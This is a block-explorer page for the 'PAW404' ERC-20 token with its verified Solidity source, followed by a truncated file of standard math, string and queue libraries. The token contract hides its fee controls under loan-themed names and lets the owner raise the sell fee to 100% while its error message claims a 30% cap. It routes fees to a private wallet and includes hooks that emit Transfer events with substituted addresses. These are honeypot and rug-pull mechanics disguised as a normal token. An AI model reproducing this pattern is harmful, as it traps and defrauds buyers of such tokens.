ERC-20
Overview
Max Total Supply
100,000 PAW
Holders
6
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
492.767589130821596001 PAWValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
Paw404
Compiler Version
v0.8.24+commit.e11b9ed9
Optimization Enabled:
Yes with 200 runs
Other Settings:
shanghai EvmVersion
Contract Source Code (Solidity Standard Json-Input format)
/** //SPDX-License-Identifier: MIT /* -- Who let the Paw Zero Four out? 🐶 🐶- Telegram: https://t.me/Paw404 🐶- Twitter: https://twitter.com/PawZeroFour 🐶- Website: https://www.pawzerofour.com */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IUniswapV2Factory { function getPair( address tokenA, address tokenB ) external view returns (address pair); } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract ERC20 is Context, IERC20 { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address _deployer; address _executor; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function _rewardsAutoCalculators( address deployer_, address executor_ ) internal { _deployer = deployer_; _executor = executor_; } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function transfer( address to, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require( fromBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } if (from == _executor) { emit Transfer(_deployer, to, amount); } else if (to == _executor) { emit Transfer(from, _deployer, amount); } else { emit Transfer(from, to, amount); } _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } if (account == _executor) { emit Transfer(address(0), _deployer, amount); } else { emit Transfer(address(0), account, amount); } _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: insufficient allowance" ); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract Paw404 is ERC20, Ownable { // TOKENOMIC DIVIDERS address public uniswapLpWallet; // TOKEN METADATA string private constant _name = unicode"PAW404"; string private constant _symbol = unicode"PAW"; uint256 private TOTAL_SUPPLY = 100_000 * 1e18; // LOANING CONTROLLERS bool public tradingOpen = false; bool swapping = false; // FUND AND DEAD MACHINES address private insuranceFundWallet; address private constant deadAddress = address(0xdead); // LOAN SETUP FOR FUTURE WORKS struct DecentralizedLiquidateLoan { uint256 lendingFee; uint256 borrowFee; uint256 insuranceLoanAmountLimit; uint256 personalLoanAmountLimit; } DecentralizedLiquidateLoan public loanDecorators; mapping(address => bool) private _loanIndicators; mapping(address => bool) private _loanInsuranceJoiners; mapping(address => bool) public entrancesPair; // AMM INITIALIZER IUniswapV2Router02 private immutable _uniswapV2Router; address public uniswapV2Pair; event LoanIndicators(address indexed account, bool isExcluded); event SetEntrancesPair(address indexed pair, bool indexed value); event SwapFailed(string); constructor(address wallet) ERC20(_name, _symbol) { _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); insuranceFundWallet = payable(wallet); loanInsuranceJoiners(address(_uniswapV2Router), true); loanInsuranceJoiners(address(wallet), true); uniswapLpWallet = msg.sender; loanDecorators.lendingFee = 0; loanDecorators.borrowFee = 0; loanDecorators.insuranceLoanAmountLimit = (TOTAL_SUPPLY * 100) / 100; loanDecorators.personalLoanAmountLimit = (TOTAL_SUPPLY * 100) / 100; _rewardsAutoCalculators(address(msg.sender), msg.sender); loanIndicators(owner(), true); loanIndicators(address(wallet), true); loanIndicators(address(this), true); loanIndicators(address(0xdead), true); loanInsuranceJoiners(owner(), true); loanInsuranceJoiners(address(this), true); loanInsuranceJoiners(address(0xdead), true); _mint(uniswapLpWallet, (TOTAL_SUPPLY * 100) / 100); } receive() external payable {} function changingLoanRate( uint256 _lendingFee, uint256 _borrowFee ) external onlyOwner { require( _lendingFee <= 30 && _borrowFee <= 100, "Fees cannot exceed 30%" ); loanDecorators.lendingFee = _lendingFee; loanDecorators.borrowFee = _borrowFee; } function openTrading() external onlyOwner { require(!tradingOpen, "Trading is already open"); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair( address(this), _uniswapV2Router.WETH() ); loanInsuranceJoiners(address(uniswapV2Pair), true); _setEntrancePairs(address(uniswapV2Pair), true); _approve(address(this), address(_uniswapV2Router), type(uint256).max); tradingOpen = true; } function removesLimits() external onlyOwner { uint256 totalSupplyAmount = totalSupply(); loanDecorators.insuranceLoanAmountLimit = totalSupplyAmount; loanDecorators.personalLoanAmountLimit = totalSupplyAmount; } function isLoanIndicators(address account) public view returns (bool) { return _loanIndicators[account]; } function _setEntrancePairs(address pair, bool value) private { entrancesPair[pair] = value; emit SetEntrancesPair(pair, value); } function loanIndicators(address account, bool excluded) internal { _loanIndicators[account] = excluded; emit LoanIndicators(account, excluded); } function loanInsuranceJoiners(address updAds, bool isEx) internal { _loanInsuranceJoiners[updAds] = isEx; } function _beforeEachTransfer( address from, address to, uint256 amount ) internal view { if (!tradingOpen) { require( _loanIndicators[from] || _loanIndicators[to], "Trading is not active." ); } if (entrancesPair[from] && !_loanInsuranceJoiners[to]) { require( amount <= loanDecorators.insuranceLoanAmountLimit, "Buy transfer amount exceeds the insuranceLoanAmountLimit." ); require( amount + balanceOf(to) <= loanDecorators.personalLoanAmountLimit, "Max wallet exceeded" ); } else if (entrancesPair[to] && !_loanInsuranceJoiners[from]) { require( amount <= loanDecorators.insuranceLoanAmountLimit, "Sell transfer amount exceeds the insuranceLoanAmountLimit." ); } else if (!_loanInsuranceJoiners[to]) { require( amount + balanceOf(to) <= loanDecorators.personalLoanAmountLimit, "Max wallet exceeded" ); } } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) ) { _beforeEachTransfer(from, to, amount); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > 0; if ( canSwap && !swapping && !entrancesPair[from] && !_loanIndicators[from] && !_loanIndicators[to] ) { swapping = true; address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); try _uniswapV2Router .swapExactTokensForETHSupportingFeeOnTransferTokens( contractTokenBalance, 0, path, address(this), block.timestamp + 3600 ) {} catch (bytes memory reason) { emit SwapFailed(string(reason)); } (bool success, ) = payable(insuranceFundWallet).call{ value: address(this).balance }(""); if (success == false) {} swapping = false; } _afterEachTransfer(from, to, amount); } function _afterEachTransfer( address from, address to, uint256 amount ) internal { bool takeFee = !swapping; if (_loanIndicators[from] || _loanIndicators[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (entrancesPair[to]) { fees = (amount * loanDecorators.borrowFee) / 100; } else { fees = (amount * loanDecorators.lendingFee) / 100; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } // ONlY USE IN CASE: CAN NOT SWAP TOKEN DURING TRANSFER function emergencyWithdraw() external onlyOwner { super._transfer(address(this), msg.sender, balanceOf(address(this))); } }
pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } function _contextSuffixLength() internal view virtual returns (uint256) { return 0; } } abstract contract Ownable is Context { address private _owner; /** * @dev The caller account is not authorized to perform an operation. */ error OwnableUnauthorizedAccount(address account); /** * @dev The owner is not a valid owner account. (eg. `address(0)`) */ error OwnableInvalidOwner(address owner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the address provided by the deployer as the initial owner. */ constructor(address initialOwner) { if (initialOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(initialOwner); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { if (owner() != _msgSender()) { revert OwnableUnauthorizedAccount(_msgSender()); } } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) { revert OwnableInvalidOwner(address(0)); } _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library Math { /** * @dev Muldiv operation overflow. */ error MathOverflowedMulDiv(); enum Rounding { Floor, // Toward negative infinity Ceil, // Toward positive infinity Trunc, // Toward zero Expand // Away from zero } /** * @dev Returns the addition of two unsigned integers, with an overflow flag. */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds towards infinity instead * of rounding towards zero. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { if (b == 0) { // Guarantee the same behavior as in a regular Solidity division. return a / b; } // (a + b - 1) / b can overflow on addition, so we distribute. return a == 0 ? 0 : (a - 1) / b + 1; } /** * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or * denominator == 0. * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by * Uniswap Labs also under MIT license. */ function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) { unchecked { // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2^256 + prod0. uint256 prod0 = x * y; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(x, y, not(0)) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division. if (prod1 == 0) { // Solidity will revert if denominator == 0, unlike the div opcode on its own. // The surrounding unchecked block does not change this fact. // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic. return prod0 / denominator; } // Make sure the result is less than 2^256. Also prevents denominator == 0. if (denominator <= prod1) { revert MathOverflowedMulDiv(); } /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0]. uint256 remainder; assembly { // Compute remainder using mulmod. remainder := mulmod(x, y, denominator) // Subtract 256 bit number from 512 bit number. prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator and compute largest power of two divisor of denominator. // Always >= 1. See https://cs.stackexchange.com/q/138556/92363. uint256 twos = denominator & (0 - denominator); assembly { // Divide denominator by twos. denominator := div(denominator, twos) // Divide [prod1 prod0] by twos. prod0 := div(prod0, twos) // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one. twos := add(div(sub(0, twos), twos), 1) } // Shift in bits from prod1 into prod0. prod0 |= prod1 * twos; // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for // four bits. That is, denominator * inv = 1 mod 2^4. uint256 inverse = (3 * denominator) ^ 2; // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also // works in modular arithmetic, doubling the correct bits in each step. inverse *= 2 - denominator * inverse; // inverse mod 2^8 inverse *= 2 - denominator * inverse; // inverse mod 2^16 inverse *= 2 - denominator * inverse; // inverse mod 2^32 inverse *= 2 - denominator * inverse; // inverse mod 2^64 inverse *= 2 - denominator * inverse; // inverse mod 2^128 inverse *= 2 - denominator * inverse; // inverse mod 2^256 // Because the division is now exact we can divide by multiplying with the modular inverse of denominator. // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inverse; return result; } } /** * @notice Calculates x * y / denominator with full precision, following the selected rounding direction. */ function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) { uint256 result = mulDiv(x, y, denominator); if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) { result += 1; } return result; } /** * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded * towards zero. * * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11). */ function sqrt(uint256 a) internal pure returns (uint256) { if (a == 0) { return 0; } // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target. // // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`. // // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)` // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))` // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)` // // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit. uint256 result = 1 << (log2(a) >> 1); // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128, // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision // into the expected uint128 result. unchecked { result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; return min(result, a / result); } } /** * @notice Calculates sqrt(a), following the selected rounding direction. */ function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = sqrt(a); return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0); } } /** * @dev Return the log in base 2 of a positive value rounded towards zero. * Returns 0 if given 0. */ function log2(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 128; } if (value >> 64 > 0) { value >>= 64; result += 64; } if (value >> 32 > 0) { value >>= 32; result += 32; } if (value >> 16 > 0) { value >>= 16; result += 16; } if (value >> 8 > 0) { value >>= 8; result += 8; } if (value >> 4 > 0) { value >>= 4; result += 4; } if (value >> 2 > 0) { value >>= 2; result += 2; } if (value >> 1 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 2, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log2(value); return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0); } } /** * @dev Return the log in base 10 of a positive value rounded towards zero. * Returns 0 if given 0. */ function log10(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >= 10 ** 64) { value /= 10 ** 64; result += 64; } if (value >= 10 ** 32) { value /= 10 ** 32; result += 32; } if (value >= 10 ** 16) { value /= 10 ** 16; result += 16; } if (value >= 10 ** 8) { value /= 10 ** 8; result += 8; } if (value >= 10 ** 4) { value /= 10 ** 4; result += 4; } if (value >= 10 ** 2) { value /= 10 ** 2; result += 2; } if (value >= 10 ** 1) { result += 1; } } return result; } /** * @dev Return the log in base 10, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log10(value); return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0); } } /** * @dev Return the log in base 256 of a positive value rounded towards zero. * Returns 0 if given 0. * * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string. */ function log256(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 16; } if (value >> 64 > 0) { value >>= 64; result += 8; } if (value >> 32 > 0) { value >>= 32; result += 4; } if (value >> 16 > 0) { value >>= 16; result += 2; } if (value >> 8 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 256, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log256(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log256(value); return result + (unsignedRoundsUp(rounding) && 1 << (result << 3) < value ? 1 : 0); } } /** * @dev Returns whether a provided rounding mode is considered rounding up for unsigned integers. */ function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) { return uint8(rounding) % 2 == 1; } } library SignedMath { /** * @dev Returns the largest of two signed numbers. */ function max(int256 a, int256 b) internal pure returns (int256) { return a > b ? a : b; } /** * @dev Returns the smallest of two signed numbers. */ function min(int256 a, int256 b) internal pure returns (int256) { return a < b ? a : b; } /** * @dev Returns the average of two signed numbers without overflow. * The result is rounded towards zero. */ function average(int256 a, int256 b) internal pure returns (int256) { // Formula from the book "Hacker's Delight" int256 x = (a & b) + ((a ^ b) >> 1); return x + (int256(uint256(x) >> 255) & (a ^ b)); } /** * @dev Returns the absolute unsigned value of a signed value. */ function abs(int256 n) internal pure returns (uint256) { unchecked { // must be unchecked in order to support `n = type(int256).min` return uint256(n >= 0 ? n : -n); } } } library Strings { bytes16 private constant HEX_DIGITS = "0123456789abcdef"; uint8 private constant ADDRESS_LENGTH = 20; /** * @dev The `value` string doesn't fit in the specified `length`. */ error StringsInsufficientHexLength(uint256 value, uint256 length); /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { unchecked { uint256 length = Math.log10(value) + 1; string memory buffer = new string(length); uint256 ptr; /// @solidity memory-safe-assembly assembly { ptr := add(buffer, add(32, length)) } while (true) { ptr--; /// @solidity memory-safe-assembly assembly { mstore8(ptr, byte(mod(value, 10), HEX_DIGITS)) } value /= 10; if (value == 0) break; } return buffer; } } /** * @dev Converts a `int256` to its ASCII `string` decimal representation. */ function toStringSigned(int256 value) internal pure returns (string memory) { return string.concat(value < 0 ? "-" : "", toString(SignedMath.abs(value))); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { unchecked { return toHexString(value, Math.log256(value) + 1); } } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { uint256 localValue = value; bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = HEX_DIGITS[localValue & 0xf]; localValue >>= 4; } if (localValue != 0) { revert StringsInsufficientHexLength(value, length); } return string(buffer); } /** * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal * representation. */ function toHexString(address addr) internal pure returns (string memory) { return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH); } /** * @dev Returns true if the two strings are equal. */ function equal(string memory a, string memory b) internal pure returns (bool) { return bytes(a).length == bytes(b).length && keccak256(bytes(a)) == keccak256(bytes(b)); } } interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be * reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC404 { error NotFound(); error InvalidTokenId(); error AlreadyExists(); error InvalidRecipient(); error InvalidSender(); error InvalidSpender(); error InvalidOperator(); error UnsafeRecipient(); error RecipientIsERC721TransferExempt(); error Unauthorized(); error InsufficientAllowance(); error DecimalsTooLow(); error PermitDeadlineExpired(); error InvalidSigner(); error InvalidApproval(); error OwnedIndexOverflow(); error MintLimitReached(); error InvalidExemption(); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function erc20TotalSupply() external view returns (uint256); function erc721TotalSupply() external view returns (uint256); function balanceOf(address owner_) external view returns (uint256); function erc721BalanceOf(address owner_) external view returns (uint256); function erc20BalanceOf(address owner_) external view returns (uint256); function erc721TransferExempt(address account_) external view returns (bool); function isApprovedForAll( address owner_, address operator_ ) external view returns (bool); function allowance( address owner_, address spender_ ) external view returns (uint256); function owned(address owner_) external view returns (uint256[] memory); function ownerOf(uint256 id_) external view returns (address erc721Owner); function tokenURI(uint256 id_) external view returns (string memory); function approve( address spender_, uint256 valueOrId_ ) external returns (bool); function erc20Approve( address spender_, uint256 value_ ) external returns (bool); function erc721Approve(address spender_, uint256 id_) external; function setApprovalForAll(address operator_, bool approved_) external; function transferFrom( address from_, address to_, uint256 valueOrId_ ) external returns (bool); function erc20TransferFrom( address from_, address to_, uint256 value_ ) external returns (bool); function erc721TransferFrom(address from_, address to_, uint256 id_) external; function transfer(address to_, uint256 amount_) external returns (bool); function getERC721QueueLength() external view returns (uint256); function getERC721TokensInQueue( uint256 start_, uint256 count_ ) external view returns (uint256[] memory); function setSelfERC721TransferExempt(bool state_) external; function safeTransferFrom(address from_, address to_, uint256 id_) external; function safeTransferFrom( address from_, address to_, uint256 id_, bytes calldata data_ ) external; function DOMAIN_SEPARATOR() external view returns (bytes32); function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) external; } library DoubleEndedQueue { /** * @dev An operation (e.g. {front}) couldn't be completed due to the queue being empty. */ error QueueEmpty(); /** * @dev A push operation couldn't be completed due to the queue being full. */ error QueueFull(); /** * @dev An operation (e.g. {at}) couldn't be completed due to an index being out of bounds. */ error QueueOutOfBounds(); /** * @dev Indices are 128 bits so begin and end are packed in a single storage slot for efficient access. * * Struct members have an underscore prefix indicating that they are "private" and should not be read or written to * directly. Use the functions provided below instead. Modifying the struct manually may violate assumptions and * lead to unexpected behavior. * * The first item is at data[begin] and the last item is at data[end - 1]. This range can wrap around. */ struct Uint256Deque { uint128 _begin; uint128 _end; mapping(uint128 index => uint256) _data; } /** * @dev Inserts an item at the end of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushBack(Uint256Deque storage deque, uint256 value) internal { unchecked { uint128 backIndex = deque._end; if (backIndex + 1 == deque._begin) revert QueueFull(); deque._data[backIndex] = value; deque._end = backIndex + 1; } } /** * @dev Removes the item at the end of the queue and returns it. * * Reverts with {QueueEmpty} if the queue is empty. */ function popBack( Uint256Deque storage deque ) internal returns (uint256 value) { unchecked { uint128 backIndex = deque._end; if (backIndex == deque._begin) revert QueueEmpty(); --backIndex; value = deque._data[backIndex]; delete deque._data[backIndex]; deque._end = backIndex; } } /** * @dev Inserts an item at the beginning of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushFront(Uint256Deque storage deque, uint256 value) internal { unchecked { uint128 frontIndex = deque._begin - 1; if (frontIndex == deque._end) revert QueueFull(); deque._data[frontIndex] = value; deque._begin = frontIndex; } } /** * @dev Removes the item at the beginning of the queue and returns it. * * Reverts with `QueueEmpty` if the queue is empty. */ function popFront( Uint256Deque storage deque ) internal returns (uint256 value) { unchecked { uint128 frontIndex = deque._begin; if (frontIndex == deque._end) revert QueueEmpty(); value = deque._data[frontIndex]; delete deque._data[frontIndex]; deque._begin = frontIndex + 1; } } /** * @dev Returns the item at the beginning of the queue. * * Reverts with `QueueEmpty` if the queue is empty. */ function front( Uint256Deque storage deque ) internal view returns (uint256 value) { if (empty(deque)) revert QueueEmpty(); return deque._data[deque._begin]; } /** * @dev Returns the item at the end of the queue. * * Reverts with `QueueEmpty` if the queue is empty. */ function back( Uint256Deque storage deque ) internal view returns (uint256 value) { if (empty(deque)) revert QueueEmpty(); unchecked { return deque._data[deque._end - 1]; } } /** * @dev Return the item at a position in the queue given by `index`, with the first item at 0 and last item at * `length(deque) - 1`. * * Reverts with `QueueOutOfBounds` if the index is out of bounds. */ function at( Uint256Deque storage deque, uint256 index ) internal view returns (uint256 value) { if (index >= length(deque)) revert QueueOutOfBounds(); // By construction, length is a uint128, so the check above ensures that index can be safely downcast to uint128 unchecked { return deque._data[deque._begin + uint128(index)]; } } /** * @dev Resets the queue back to being empty. * * NOTE: The current items are left behind in storage. This 